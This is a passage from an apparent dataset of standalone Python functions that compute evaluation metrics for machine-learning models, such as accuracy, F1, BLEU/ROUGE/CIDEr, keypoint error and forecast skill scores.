%s\"\n %(sub_dir2, tr_file) +\" and given_inputs is []\")\n print(\"Script execution will terminate\") \n sys.exit()\n \n self.batch_size = inputs.shape[0]\n \n if self.mixture:\n self.set_mixture_means(inputs = inputs)\n \n is_samples, _ = self.is_sampler()\n \n for sub_f2 in os.listdir(sub_dir):\n \n sub_dir2 = os.path.join(sub_dir, sub_f2)\n \n if os.path.isdir(sub_dir2):\n \n if \"_\" in sub_f2:\n spl_str = sub_f2.split(\"_\")\n if len(spl_str) > 3:\n algorithm = spl_str[0]+\"_\"+spl_str[1]\n else:\n algorithm = spl_str[0]\n \n else:\n algorithm = sub_f2\n \n field_name =algorithm \n \n if reg_dict[algorithm] != None:\n if reg_dict[algorithm] in sub_f2:\n if \"_\" in reg_dict[algorithm]:\n reg_name_s = reg_dict[algorithm].split(\"_\")\n \n reg_name_s = reg_name_s[0][0].upper() +\\\n reg_name_s[1][0].upper()\n field_name +=\" %s\"%reg_name_s\n else:\n field_name +=\" %s\"%reg_dict[algorithm]\n \n get_val = sub_f2\n get_val = get_val.split(reg_dict[algorithm])[1]\n \n field_name +=\" %s\"%get_val\n \n if field_name not in E_gaps.keys():\n \n E_gaps[field_name] = []\n \n if field_name not in p_tilda_data.keys():\n \n p_tilda_data[field_name] = []\n \n if field_name not in end_w_norms.keys():\n \n end_w_norms[field_name] = []\n \n par_path = os.path.join(sub_dir2, param_file)\n \n w_norms_path = os.path.join(sub_dir2, w_norm_file)\n \n w_norms = np.loadtxt(w_norms_path)\n \n end_w_norms[field_name].append(w_norms[-1])\n \n if os.path.exists(par_path):\n \n css_diff, p_tilda_vals =\\\n self.compare_css_terms(x_inputs = inputs,\n x_samples = is_samples,\n full_path = par_path)\n \n E_gaps[field_name].append(css_diff)\n \n mean_val = np.mean(p_tilda_vals[0:self.batch_size])\n \n p_tilda_data[field_name].append(mean_val)\n \n else:\n \n print(\"Error: %s does not exist\"%par_path)\n sys.exit()\n \n for f_exp in get_means_from.keys():\n \n file_name = get_means_from[f_exp]\n \n check_err_file = os.path.join(sub_dir2, file_name)\n \n errors = np.loadtxt(check_err_file)\n \n mean_val = np.mean(errors)\n \n if field_name not in recon_errors[f_exp].keys():\n \n recon_errors[f_exp][field_name] = []\n \n recon_errors[f_exp][field_name].append(mean_val)\n \n return E_gaps, recon_errors, p_tilda_data, end_w_norms","def evaluate_individual(predictions, test_files, models):\n\n print(\"\\nAccuracy for individual models\\n\")\n \n # Fix Location\n correct_predictions = [0, 0, 0]\n total_predictions = [0, 0, 0]\n num_failed_predictions = 0\n\n for prediction in predictions:\n if prediction[\"correct_data\"][\"correct_location\"] == prediction[\"predicted_location\"]:\n correct_predictions[FixType[prediction[\"correct_data\"][\"correct_type\"]].value] = correct_predictions[FixType[\n prediction[\"correct_data\"][\"correct_type\"]].value] + 1\n if prediction[\"predicted_location\"] is None:\n num_failed_predictions = num_failed_predictions + 1\n total_predictions[FixType[prediction[\"correct_data\"][\"correct_type\"]].value] = total_predictions[FixType[\n prediction[\"correct_data\"][\"correct_type\"]].value] + 1\n\n for i in range(3):\n if total_predictions[i] == 0: # If the type was never predicted\n accuracy = 0\n else:\n accuracy = correct_predictions[i] / total_predictions[i]\n print(f\"Fix Location accuracy for class {FixType(i).name}: {accuracy * 100} %\")\n\n accuracy = sum(correct_predictions) / (len(predictions) - num_failed_predictions)\n print(f\"Fix Location accuracy overall is {accuracy * 100} %\")\n \n # Fix type\n correct_predictions = [0, 0, 0]\n total_predictions = [0, 0, 0]\n num_failed_predictions = 0\n\n for prediction in predictions:\n if prediction[\"correct_data\"][\"correct_type\"] == prediction[\"predicted_type\"]:\n correct_predictions[FixType[prediction[\"predicted_type\"]].value] = correct_predictions[FixType[\n prediction[\"predicted_type\"]].value] + 1\n if prediction[\"predicted_type\"] is None:\n num_failed_predictions = num_failed_predictions + 1\n total_predictions[FixType[prediction[\"predicted_type\"]].value] = total_predictions[FixType[\n prediction[\"predicted_type\"]].value] + 1\n\n for i in range(3):\n if total_predictions[i] == 0: # If the type was never predicted\n accuracy = 0\n else:\n accuracy = correct_predictions[i] / total_predictions[i]\n print(f\"Fix Type accuracy for class {FixType(i).name}: {accuracy * 100} %\")\n\n accuracy = sum(correct_predictions) / (len(predictions) - num_failed_predictions)\n print(f\"Fix Type accuracy overall is {accuracy * 100} %\")\n \n # We repeat the predictions to evaluate the insert and modify models individually, regardless of the predicted fix type \n\n raw_training_samples = []\n\n if test_files.endswith(\".json\"): # Single JSON file\n with open(test_files) as file:\n logging.info(\"Source ending in .json. Predicting on single JSON file.\")\n raw_training_samples = json.load(file)\n else: # Folder path\n for filename in listdir(test_files):\n with open(test_files + filename) as file:\n raw_training_samples.extend(json.load(file))\n \n correct_predictions_insert = 0\n total_predictions_insert = 0\n correct_predictions_modify = 0\n total_predictions_modify = 0\n insert_tokens = []\n modify_tokens = []\n\n for sample in raw_training_samples:\n # Insert\n if sample[\"metadata\"][\"fix_type\"] == \"insert\":\n actual_sample, tokens = IOProcessor.preprocess(sample[\"wrong_code\"])\n pred = predict_single(actual_sample, models[2])\n token = IOProcessor.postprocess(pred, 2)\n if token == sample[\"metadata\"][\"fix_token\"]: # Correct Prediction\n correct_predictions_insert = correct_predictions_insert + 1\n else: # Incorrect prediction\n insert_tokens.append([token, sample[\"metadata\"][\"fix_token\"]])\n total_predictions_insert = total_predictions_insert + 1\n # Modify\n if sample[\"metadata\"][\"fix_type\"] == \"modify\":\n actual_sample, tokens = IOProcessor.preprocess(sample[\"wrong_code\"])\n pred = predict_single(actual_sample, models[3])\n token = IOProcessor.postprocess(pred, 3)\n if token == sample[\"metadata\"][\"fix_token\"]: # Correct Prediction\n correct_predictions_modify = correct_predictions_modify + 1\n else: # Incorrect prediction\n modify_tokens.append([token, sample[\"metadata\"][\"fix_token\"]])\n total_predictions_modify = total_predictions_modify + 1\n\n insert_accuracy = correct_predictions_insert / total_predictions_insert\n modify_accuracy = correct_predictions_modify / total_predictions_modify\n print(f\"Fix Token accuracy for insert is {insert_accuracy * 100} %\")\n print(f\"Fix Token accuracy for modify is {modify_accuracy * 100} %\")\n\n # The following code may be used to create a swarm plot of the erroneous predictions for fix locations\n # This does, however, require the installation of the pandas, seaborn, and matplotlib libraries.\n \n # import seaborn as sns\n # import matplotlib.pyplot as plt\n # import pandas as pd\n # location_distance_array = []\n # for prediction in predictions:\n # actual_sample, tokens = IOProcessor.preprocess(prediction[\"correct_data\"][\"wrong_code\"])\n # label = get_token_index(prediction[\"correct_data\"][\"wrong_code\"], tokens, prediction[\"correct_data\"][\"correct_location\"])\n # if prediction[\"predicted_token_location\"] - label == 0:\n # pass\n # else:\n # location_distance_array.append([prediction[\"predicted_token_location\"] - label, prediction[\"correct_data\"][\"correct_type\"]])\n \n # df = pd.DataFrame(data=location_distance_array)\n # sns.set_theme(style=\"whitegrid\")\n # f, ax = plt.subplots(figsize=(6, 4))\n # sns.despine(bottom=True, left=True)\n # sns.swarmplot(y=0, x=1, data=df, palette=\"dark\", size=6)\n # ax.set_xlabel('')\n # ax.set_ylabel('')\n # plt.ylim([-15, 16])\n \n # plt.savefig('line_plot.pdf', bbox_inches='tight', pad_inches=0)","def evaluate(self, benchmark_data, metrics={}, options={}):\n dir_name = list(benchmark_data.keys())[0]\n relations = list(benchmark_data.values())[0]\n \n if \"relation\" in options :\n relations = [options[\"relation\"]]\n \n precision_total = 0\n for relation in relations :\n if relation.endswith(\"_inv\") :\n continue\n relation = relation.replace(\":\", \"_\")\n evaluate.setup(relation, dir_name)\n precision_total += evaluate.evaluate_logic()\n \n result = {}\n result[\"MAP\"] = precision_total/len(relations)\n\n return result","def compute_metrics(\n self,\n preds: Dict[str, torch.Tensor],\n targets: Dict[str, torch.Tensor],\n phase: str,\n ) -> Dict[str, torch.Tensor]:\n if phase == \"train\":\n metrics_dict = self.train_metrics\n elif phase == \"val\":\n metrics_dict = self.val_metrics\n elif phase == \"test\":\n metrics_dict = self.test_metrics\n\n ret = {}\n for metric_name, metric in metrics_dict.items():\n if metric is not None:\n branch = metric_name.split(\"_\")[0]\n ret[metric_name] = metric(preds[branch], targets[branch])\n\n return ret","def evaluate_predictions_from_filepaths(\n ground_truth_filepath: str, prediction_filepath: str, node_types: List[str]\n) -> Dict[str, float]:\n\n ground_truth_tree_jsons = read_jsonl(ground_truth_filepath)\n prediction_tree_jsons = read_jsonl(prediction_filepath)\n\n return evaluate_predictions_from_jsons(\n ground_truth_tree_jsons, prediction_tree_jsons, node_types\n )","def calculateMeasures(\n folder_gold=\"data/dev/\", folder_pred=\"data_pred/dev/\", remove_anno=\"\"\n):\n\n flist_gold = os.listdir(folder_gold)\n res_all_gold = []\n res_all_pred = []\n targets = []\n\n if type(remove_anno) == str:\n remove_anno = [remove_anno]\n if \"types\" in remove_anno:\n remove_anno.append(\"rel\")\n\n for f in flist_gold:\n # ignoring non-.ann files, should there be any\n if not str(f).endswith(\".ann\"):\n continue\n f_gold = open(os.path.join(folder_gold, f), \"r\")\n try:\n f_pred = open(os.path.join(folder_pred, f), \"r\")\n res_full_pred, res_pred, spans_pred, rels_pred = normaliseAnnotations(\n f_pred, remove_anno\n )\n except IOError:\n print(\n f\n + \" file missing in \"\n + folder_pred\n + \". Assuming no predictions are available for this file.\"\n )\n res_full_pred, res_pred, spans_pred, rels_pred = [], [], [], []\n\n res_full_gold, res_gold, spans_gold, rels_gold = normaliseAnnotations(\n f_gold, remove_anno\n )\n\n spans_all = set(spans_gold + spans_pred)\n\n for i, r in enumerate(spans_all):\n if r in spans_gold:\n target = res_gold[spans_gold.index(r)].split(\" \")[0]\n res_all_gold.append(target)\n if not target in targets:\n targets.append(target)\n else:\n # those are the false positives, contained in pred but not gold\n res_all_gold.append(\"NONE\")\n\n if r in spans_pred:\n target_pred = res_pred[spans_pred.index(r)].split(\" \")[0]\n res_all_pred.append(target_pred)\n else:\n # those are the false negatives, contained in gold but not pred\n res_all_pred.append(\"NONE\")\n\n if \"keys\" in remove_anno:\n targets = [\"Hyponym-of\", \"Synonym-of\"]\n # y_true, y_pred, labels, targets\n prec, recall, f1, support = precision_recall_fscore_support(\n res_all_gold, res_all_pred, labels=targets, average=None\n )\n # unpack the precision, recall, f1 and support\n metrics = {}\n for k, target in enumerate(targets):\n metrics[target] = {\n \"precision\": prec[k],\n \"recall\": recall[k],\n \"f1-score\": f1[k],\n \"support\": support[k],\n }\n\n # now micro-averaged\n if not \"types\" in remove_anno:\n prec, recall, f1, s = precision_recall_fscore_support(\n res_all_gold, res_all_pred, labels=targets, average=\"micro\"\n )\n metrics[\"overall\"] = {\n \"precision\": prec,\n \"recall\": recall,\n \"f1-score\": f1,\n \"support\": sum(support),\n }\n else:\n # just binary classification, nothing to average\n metrics[\"overall\"] = metrics[\"KEYPHRASE-NOTYPES\"]\n\n print_report(metrics, targets)\n return metrics","def compute_metrics(self, results: list) -> dict:","def compute_metrics(self, results: list) -> Dict[str, float]:\n logger: MMLogger = MMLogger.get_current_instance()\n\n # pred_coords: [N, K, D]\n pred_coords = np.concatenate(\n [result['pred_coords'] for result in results])\n if pred_coords.ndim == 4 and pred_coords.shape[1] == 1:\n pred_coords = np.squeeze(pred_coords, axis=1)\n # gt_coords: [N, K, D]\n gt_coords = np.stack([result['gt_coords'] for result in results])\n # mask: [N, K]\n mask = np.concatenate([result['mask'] for result in results])\n # action_category_indices: Dict[List[int]]\n action_category_indices = defaultdict(list)\n for idx, result in enumerate(results):\n action_category = result['action'].split('_')[0]\n action_category_indices[action_category].append(idx)\n\n error_name = self.mode.upper()\n\n logger.info(f'Evaluating {self.mode.upper()}...')\n metrics = dict()\n\n metrics[error_name] = keypoint_mpjpe(pred_coords, gt_coords, mask,\n self.ALIGNMENT[self.mode])\n\n for action_category, indices in action_category_indices.items():\n metrics[f'{error_name}_{action_category}'] = keypoint_mpjpe(\n pred_coords[indices], gt_coords[indices], mask[indices])\n\n return metrics","def evaluate(pred_file, ref_file):\n ref_dict, pred_dict, query_dict, id_dict = build_pred_ref_dict(ref_file, pred_file, ref_file)\n total, acc, scores = res_eval_with_type_acc(query_dict, pred_dict, ref_dict, id_dict, save=False)\n em = calculate_exact_match(pred_dict, ref_dict)\n print('Comp Acc: {:.3f}%\\tBleu-4: {:.3f}\\tRouge-L: {:.3f}'.format(acc, scores['Bleu-4'], scores['Rouge-L']))\n print('EM: {:.3f}%'.format(em))\n # calculate_sketch_type_acc(ref_file, pred_file)\n # calculate_exact_match_for_each_q_type(ref_file, pred_file)\n return total, acc, scores, em","def compute(self, result_file_dict):\r\n for part in self.parts:\r\n #=====================Need to change, temporal=========================\r\n if part == 'train':\r\n continue # because the train not have the label\r\n #=======================================================================\r\n gt = self.gt_dict[part]\r\n result_file = result_file_dict[part]\r\n # import ipdb; ipdb.set_trace()\r\n for key, item in result_file.items():\r\n self._result_name = item\r\n # score_records, num_videos = self.load_results(result_file)\r\n score_records, num_videos = self.load_results(item)\r\n logger.info(f'Compute Metric of {item}')\r\n assert num_videos == len(gt), f'the number of saved videos does not match the ground truth, {num_videos} != {len(gt)}'\r\n temp_result = self.eval_method(score_records, gt, str(key))\r\n if temp_result > self.optimal_resulst:\r\n self.optimal_resulst = temp_result\r\n \r\n return self.optimal_resulst","def evaluate(gt_file, re_file, logger=None):\n gts = json.load(open(gt_file, 'r'))\n scorers = [\n (Bleu(4), [\"Bleu_1\", \"Bleu_2\", \"Bleu_3\", \"Bleu_4\"]),\n (Meteor(), \"METEOR\"),\n (Rouge(), \"ROUGE_L\"),\n (Cider(), \"CIDEr\")\n ]\n metrics = []\n res = json.load(open(re_file, 'r'))\n res = {c['image_id']: [c['caption']] for c in res}\n gts = {k: v for k, v in zip(gts['image_ids'], gts['captions']) if k in res}\n for scorer, method in scorers:\n if logger is not None:\n logger.info('computing %s score...' % (scorer.method()))\n score, scores = scorer.compute_score(gts, res)\n if type(method) == list:\n for sc, scs, m in zip(score, scores, method):\n if logger is not None:\n logger.info(\"%s: %0.3f\" % (m, sc))\n metrics.extend(score)\n else:\n if logger is not None:\n logger.info(\"%s: %0.3f\" % (method, score))\n metrics.append(score)\n return metrics","def get_accuracy(path_targets, path_pred, key_to_infer, path_accuracy):\n list_targets = []\n list_preds = []\n with open(path_targets, 'r') as f:\n for line in f.readlines():\n list_targets.append(line[:-1])\n with open(path_pred, 'r') as f:\n for line in f.readlines():\n list_preds.append(line[:-1])\n \n len_list = len(list_targets)\n \n if key_to_infer[1] == str or key_to_infer[1] == float:\n correct = 0\n incorrect = 0\n for idx in range(len_list):\n if list_targets[idx] == list_preds[idx]:\n correct +=1\n else:\n incorrect += 1\n with open(path_accuracy, 'w') as f:\n f.write(\"Test Accuracy:\"+'\\n')\n f.wirte(\"Total tests: {}\".format(len_list)+'\\n')\n f.write(\"Correct predictions: {}\".format(str(correct))+'\\n')\n f.write(\"Incorrect predictions: {}\".format(str(incorrect))+'\\n')\n f.write(\"Accuracy: {}\".format(str(correct/len_list*100)+'%'))\n \n else:\n correct = 0\n incorrect = 0\n for idx in range(len_list):\n if int(list_targets[idx]) == int(round(float(list_preds[idx]))):\n correct +=1\n else:\n incorrect += 1\n with open(path_accuracy, 'w') as f:\n f.write(\"Test Accuracy:\"+'\\n')\n f.write(\"Total tests: {}\".format(len_list)+'\\n')\n f.write(\"Correct predictions: {}\".format(str(correct))+'\\n')\n f.write(\"Incorrect predictions: {}\".format(str(incorrect))+'\\n')\n f.write(\"Accuracy: {}\".format(str(correct/float(len_list)*100)+'%'))","def evaluate_predictions_from_jsons( # TODO: Change name to end2end_evaluate ?\n ground_truth_tree_jsons: List[Dict],\n prediction_tree_jsons: List[Dict],\n node_types: List[str] = None,\n) -> Dict[str, float]:\n node_types = node_types or [\"ml\", \"module\", \"model\"]\n\n ground_truth_trees = TreeNode.read_from_jsons(ground_truth_tree_jsons, [])\n predictions_trees = TreeNode.read_from_jsons(prediction_tree_jsons, [])\n\n node_type_to_percentage_errors = {}\n for node_type in node_types:\n assert node_type in (\"model\", \"module\", \"ml\")\n\n id_to_gold_energy = {}\n for tree in ground_truth_trees:\n for attribute_object in tree.get_subtree_nodes_attributes(\n [node_type], [\"id\", \"gold_energy\"]\n ):\n id_to_gold_energy[attribute_object[\"id\"]] = attribute_object[\n \"gold_energy\"\n ]\n\n id_to_predicted_energy = {}\n for tree in predictions_trees:\n for attribute_object in tree.get_subtree_nodes_attributes(\n [node_type], [\"id\", \"predicted_energy\"]\n ):\n id_to_predicted_energy[attribute_object[\"id\"]] = attribute_object[\n \"predicted_energy\"\n ]\n\n expected_ids = id_to_gold_energy.keys()\n gold_energies = [id_to_gold_energy[id_] for id_ in expected_ids]\n predicted_energies = []\n for id_ in expected_ids:\n predicted_energy = id_to_predicted_energy.get(id_, None)\n\n if not predicted_energy:\n print(\n f\"WARNING: No predicted energy found for node-id {id_}. Force setting 0.\"\n )\n predicted_energy = 0\n\n predicted_energies.append(predicted_energy)\n\n percentage_error = get_percentage_error_list(gold_energies, predicted_energies)\n node_type_to_percentage_errors[node_type] = round(percentage_error, 2)\n\n return node_type_to_percentage_errors","def compute_metrics(self, outputs: List[Dict[str, torch.Tensor]]) -> dict:\n distance_pos, distance_neg = [], []\n for minibatch in outputs:\n minibatch = minibatch[\"val_prediction\"]\n src_embedding = minibatch[\"src_sentemb\"]\n ref_embedding = minibatch[\"ref_sentemb\"]\n pos_embedding = minibatch[\"pos_sentemb\"]\n neg_embedding = minibatch[\"neg_sentemb\"]\n\n distance_src_pos = F.pairwise_distance(pos_embedding, src_embedding)\n distance_ref_pos = F.pairwise_distance(pos_embedding, ref_embedding)\n harmonic_distance_pos = (2 * distance_src_pos * distance_ref_pos) / (\n distance_src_pos + distance_ref_pos\n )\n distance_pos.append(harmonic_distance_pos)\n\n distance_src_neg = F.pairwise_distance(neg_embedding, src_embedding)\n distance_ref_neg = F.pairwise_distance(neg_embedding, ref_embedding)\n harmonic_distance_neg = (2 * distance_src_neg * distance_ref_neg) / (\n distance_src_neg + distance_ref_neg\n )\n distance_neg.append(harmonic_distance_neg)\n\n return {\n \"kendall\": self.metrics.compute(\n torch.cat(distance_pos), torch.cat(distance_neg)\n )\n }","def study_targets(root_folder=None):\n # Read targets file\n if root_folder is None:\n root_folder = Path.cwd()\n files = glob.glob(str(root_folder / '*TARGETS.csv'))\n assert len(files) == 1, ('Root data folder must contain one targets '\n 'csv file.')\n targets = pd.read_csv(root_folder / files[0])\n\n # Cleanup and remove invalid targets\n path_scores = []\n path_scores.append(pd.to_numeric(targets['Corwyn Score']\n .replace('W', np.nan)))\n path_scores.append(pd.to_numeric(targets['Cathy Score']\n .replace('W', np.nan)))\n valid = ~(path_scores[0].isna() & path_scores[1].isna())\n has_both = ~(path_scores[0].isna() | path_scores[1].isna())\n assert not np.any(has_both), \"Implement averaging of pathological scores\"\n\n # Use whichever pathologist score is available without averaging\n path_score = pd.concat([path_scores[0][valid], path_scores[1][valid]],\n axis=1).max(axis=1)\n path_score.name = 'Trauma Score' # 0, 1, 2, 3 categorical\n\n # Get pathologist names\n paths = pd.Series(index=path_scores[0].index,\n name='Pathologist')\n for i in range(len(path_scores)):\n scores = path_scores[i]\n name = scores.name.split()[0]\n scores = ~scores.isna()\n paths[scores] = name\n paths = paths[valid]\n\n id_labels = ['Patient Code', 'Protocol', 'Tissue', 'Load (g)']\n abs_deltas = targets.loc[valid, 'Absolute Delta (um)']\n deltas = targets.loc[valid, 'Percent Delta']\n pscores = targets.loc[valid, 'P Score']\n ids = targets.loc[valid, id_labels]\n for label in id_labels:\n if label == 'Load (g)':\n func = int\n else:\n func = str.upper\n ids[label] = ids[label].apply(func)\n targets = pd.concat([ids,\n abs_deltas,\n deltas,\n pscores,\n paths,\n path_score], axis=1)\n\n return targets","def run_evaluation(forecast_probabilities, observed_labels, output_dir_name):\n\n file_system_utils.mkdir_recursive_if_necessary(\n directory_name=output_dir_name)\n\n # TODO(thunderhoser): Make binarization threshold an input argument to this\n # method.\n (binarization_threshold, best_csi\n ) = model_eval.find_best_binarization_threshold(\n forecast_probabilities=forecast_probabilities,\n observed_labels=observed_labels,\n threshold_arg=model_eval.THRESHOLD_ARG_FOR_UNIQUE_FORECASTS,\n criterion_function=model_eval.get_csi,\n optimization_direction=model_eval.MAX_OPTIMIZATION_DIRECTION,\n unique_forecast_precision=FORECAST_PRECISION_FOR_THRESHOLDS)\n\n print (\n 'Best binarization threshold = {0:.4f} ... corresponding CSI = {1:.4f}'\n ).format(binarization_threshold, best_csi)\n\n print 'Binarizing forecast probabilities...'\n forecast_labels = model_eval.binarize_forecast_probs(\n forecast_probabilities=forecast_probabilities,\n binarization_threshold=binarization_threshold)\n\n print 'Creating contingency table...'\n contingency_table_as_dict = model_eval.get_contingency_table(\n forecast_labels=forecast_labels, observed_labels=observed_labels)\n print '{0:s}\\n'.format(str(contingency_table_as_dict))\n\n print 'Computing performance metrics...'\n pod = model_eval.get_pod(contingency_table_as_dict)\n pofd = model_eval.get_pofd(contingency_table_as_dict)\n success_ratio = model_eval.get_success_ratio(contingency_table_as_dict)\n focn = model_eval.get_focn(contingency_table_as_dict)\n accuracy = model_eval.get_accuracy(contingency_table_as_dict)\n csi = model_eval.get_csi(contingency_table_as_dict)\n frequency_bias = model_eval.get_frequency_bias(contingency_table_as_dict)\n peirce_score = model_eval.get_peirce_score(contingency_table_as_dict)\n heidke_score = model_eval.get_heidke_score(contingency_table_as_dict)\n\n print (\n 'POD = {0:.4f} ... POFD = {1:.4f} ... success ratio = {2:.4f} ... '\n 'FOCN = {3:.4f} ... accuracy = {4:.4f} ... CSI = {5:.4f} ... frequency '\n 'bias = {6:.4f} ... Peirce score = {7:.4f} ... Heidke score = {8:.4f}\\n'\n ).format(pod, pofd, success_ratio, focn, accuracy, csi, frequency_bias,\n peirce_score, heidke_score)\n\n auc, scikit_learn_auc = _create_roc_curve(\n forecast_probabilities=forecast_probabilities,\n observed_labels=observed_labels, output_dir_name=output_dir_name)\n print '\\n'\n\n bss_dict = _create_attributes_diagram(\n forecast_probabilities=forecast_probabilities,\n observed_labels=observed_labels, output_dir_name=output_dir_name)\n print '\\n'\n\n aupd = _create_performance_diagram(\n forecast_probabilities=forecast_probabilities,\n observed_labels=observed_labels, output_dir_name=output_dir_name)\n print '\\n'\n\n evaluation_file_name = '{0:s}/model_evaluation.p'.format(output_dir_name)\n print 'Writing results to: \"{0:s}\"...'.format(evaluation_file_name)\n model_eval.write_results(\n forecast_probabilities=forecast_probabilities,\n observed_labels=observed_labels,\n binarization_threshold=binarization_threshold, pod=pod, pofd=pofd,\n success_ratio=success_ratio, focn=focn, accuracy=accuracy, csi=csi,\n frequency_bias=frequency_bias, peirce_score=peirce_score,\n heidke_score=heidke_score, auc=auc, scikit_learn_auc=scikit_learn_auc,\n aupd=aupd, bss_dict=bss_dict, pickle_file_name=evaluation_file_name)","def eval_detection(gt_mask, r):\n ids = np.unique(r['class_ids'])\n merged_masks = {}\n qualities = dict([(1,0), (2,0), (3,0)])\n\n for i in ids:\n merged_masks[i] = (np.zeros_like(r['masks'][:,:,0]) > 0)\n n_masks = r['masks'].shape[-1]\n for c in range(n_masks):\n if i != r['class_ids'][c] or r['scores'][c] < .7:\n continue\n\n mask = r['masks'][:,:,c]\n merged_masks[i] |= mask\n\n gt_mask_i = (gt_mask[:,:,i-1] > 0)\n intersection = gt_mask_i & merged_masks[i]\n union = gt_mask_i | merged_masks[i]\n qualities[i] = np.sum(intersection) / np.sum(union)\n \n return qualities, merged_masks","def _run(prediction_file_name, num_bootstrap_reps, output_dir_name):\n\n file_metadata_dict = prediction_io.file_name_to_metadata(\n prediction_file_name\n )\n output_file_name = evaluation.find_file(\n directory_name=output_dir_name,\n zenith_angle_bin=file_metadata_dict[prediction_io.ZENITH_ANGLE_BIN_KEY],\n albedo_bin=file_metadata_dict[prediction_io.ALBEDO_BIN_KEY],\n month=file_metadata_dict[prediction_io.MONTH_KEY],\n grid_row=file_metadata_dict[prediction_io.GRID_ROW_KEY],\n grid_column=file_metadata_dict[prediction_io.GRID_COLUMN_KEY],\n raise_error_if_missing=False\n )\n\n result_table_xarray = evaluation.get_scores_all_variables(\n prediction_file_name=prediction_file_name,\n num_bootstrap_reps=num_bootstrap_reps\n )\n print(SEPARATOR_STRING)\n\n t = result_table_xarray\n scalar_target_names = t.coords[evaluation.SCALAR_FIELD_DIM].values\n\n for k in range(len(scalar_target_names)):\n print((\n 'Variable = \"{0:s}\" ... stdev of target and predicted values = '\n '{1:f}, {2:f} ... MSE and skill score = {3:f}, {4:f} ... '\n 'MAE and skill score = {5:f}, {6:f} ... bias = {7:f} ... '\n 'correlation = {8:f} ... KGE = {9:f}'\n ).format(\n scalar_target_names[k],\n numpy.nanmean(t[evaluation.SCALAR_TARGET_STDEV_KEY].values[k, :]),\n numpy.nanmean(\n t[evaluation.SCALAR_PREDICTION_STDEV_KEY].values[k, :]\n ),\n numpy.nanmean(t[evaluation.SCALAR_MSE_KEY].values[k, :]),\n numpy.nanmean(t[evaluation.SCALAR_MSE_SKILL_KEY].values[k, :]),\n numpy.nanmean(t[evaluation.SCALAR_MAE_KEY].values[k, :]),\n numpy.nanmean(t[evaluation.SCALAR_MAE_SKILL_KEY].values[k, :]),\n numpy.nanmean(t[evaluation.SCALAR_BIAS_KEY].values[k, :]),\n numpy.nanmean(t[evaluation.SCALAR_CORRELATION_KEY].values[k, :]),\n numpy.nanmean(t[evaluation.SCALAR_KGE_KEY].values[k, :])\n ))\n\n print(SEPARATOR_STRING)\n\n vector_target_names = t.coords[evaluation.VECTOR_FIELD_DIM].values\n heights_m_agl = t.coords[evaluation.HEIGHT_DIM].values\n\n for k in range(len(vector_target_names)):\n print('Variable = \"{0:s}\" ... PRMSE = {1:f}'.format(\n vector_target_names[k],\n numpy.nanmean(t[evaluation.VECTOR_PRMSE_KEY].values[k, :])\n ))\n\n print(SEPARATOR_STRING)\n\n for k in range(len(vector_target_names)):\n for j in range(len(heights_m_agl)):\n print((\n 'Variable = \"{0:s}\" at {1:d} m AGL ... '\n 'stdev of target and predicted values = {2:f}, {3:f} ... '\n 'MSE and skill score = {4:f}, {5:f} ... '\n 'MAE and skill score = {6:f}, {7:f} ... bias = {8:f} ... '\n 'correlation = {9:f} ... KGE = {10:f}'\n ).format(\n vector_target_names[k], int(numpy.round(heights_m_agl[j])),\n numpy.nanmean(\n t[evaluation.VECTOR_TARGET_STDEV_KEY].values[j, k, :]\n ),\n numpy.nanmean(\n t[evaluation.VECTOR_PREDICTION_STDEV_KEY].values[j, k, :]\n ),\n numpy.nanmean(t[evaluation.VECTOR_MSE_KEY].values[j, k, :]),\n numpy.nanmean(\n t[evaluation.VECTOR_MSE_SKILL_KEY].values[j, k, :]\n ),\n numpy.nanmean(t[evaluation.VECTOR_MAE_KEY].values[j, k, :]),\n numpy.nanmean(\n t[evaluation.VECTOR_MAE_SKILL_KEY].values[j, k, :]\n ),\n numpy.nanmean(t[evaluation.VECTOR_BIAS_KEY].values[j, k, :]),\n numpy.nanmean(\n t[evaluation.VECTOR_CORRELATION_KEY].values[j, k, :]\n ),\n numpy.nanmean(t[evaluation.VECTOR_KGE_KEY].values[j, k, :])\n ))\n\n print(SEPARATOR_STRING)\n\n try:\n aux_target_field_names = (\n t.coords[evaluation.AUX_TARGET_FIELD_DIM].values\n )\n aux_predicted_field_names = (\n t.coords[evaluation.AUX_PREDICTED_FIELD_DIM].values\n )\n except:\n aux_target_field_names = []\n aux_predicted_field_names = []\n\n for k in range(len(aux_target_field_names)):\n print((\n 'Target variable = \"{0:s}\" ... predicted variable = \"{1:s}\" ... '\n 'stdev of target and predicted values = {2:f}, {3:f} ... '\n 'MSE and skill score = {4:f}, {5:f} ... '\n 'MAE and skill score = {6:f}, {7:f} ... bias = {8:f} ... '\n 'correlation = {9:f} ... KGE = {10:f}'\n ).format(\n aux_target_field_names[k], aux_predicted_field_names[k],\n numpy.nanmean(t[evaluation.AUX_TARGET_STDEV_KEY].values[k, :]),\n numpy.nanmean(t[evaluation.AUX_PREDICTION_STDEV_KEY].values[k, :]),\n numpy.nanmean(t[evaluation.AUX_MSE_KEY].values[k, :]),\n numpy.nanmean(t[evaluation.AUX_MSE_SKILL_KEY].values[k, :]),\n numpy.nanmean(t[evaluation.AUX_MAE_KEY].values[k, :]),\n numpy.nanmean(t[evaluation.AUX_MAE_SKILL_KEY].values[k, :]),\n numpy.nanmean(t[evaluation.AUX_BIAS_KEY].values[k, :]),\n numpy.nanmean(t[evaluation.AUX_CORRELATION_KEY].values[k, :]),\n numpy.nanmean(t[evaluation.AUX_KGE_KEY].values[k, :])\n ))\n\n print(SEPARATOR_STRING)\n\n print('Writing results to: \"{0:s}\"...'.format(output_file_name))\n evaluation.write_file(\n result_table_xarray=result_table_xarray,\n netcdf_file_name=output_file_name\n )","def error_analysis(predictions, gold, result_collector):\n # scores = defaultdict(list)\n for iteration_id, texts in predictions.items():\n # map iteration id to fold\n fold = str(int(iteration_id) / 5)\n for tid, pred_tree in texts.items():\n gold_tree = gold[tid]\n print(iteration_id, fold, tid)\n print(gold_tree.get_triples())\n print(pred_tree.get_triples())\n for level, scores in eval_prediction([gold_tree], [pred_tree]):\n result_collector.add_result(tid, fold, level, scores)\n print(\"Done.\")","def eval_metrics_for_seqtags(self, predicted_answers):\n total_correct_in_all = 0\n label_pred = []\n label_true = []\n label_weights = []\n digits = 3\n metrics = {}\n\n for e_id, sample in predicted_answers.iteritems():\n # get all correct ids, include padding ids.\n correct_label_indices = sample['correct_seq_labels']\n # use extend to add all the labels in the seq, include the head padding and tail padding\n label_true.extend(correct_label_indices)\n # counting all correct for each sample\n total_correct_in_all += len(correct_label_indices)\n # select topK\n label_pred.extend(sample['pred_seq_tags'])\n\n if 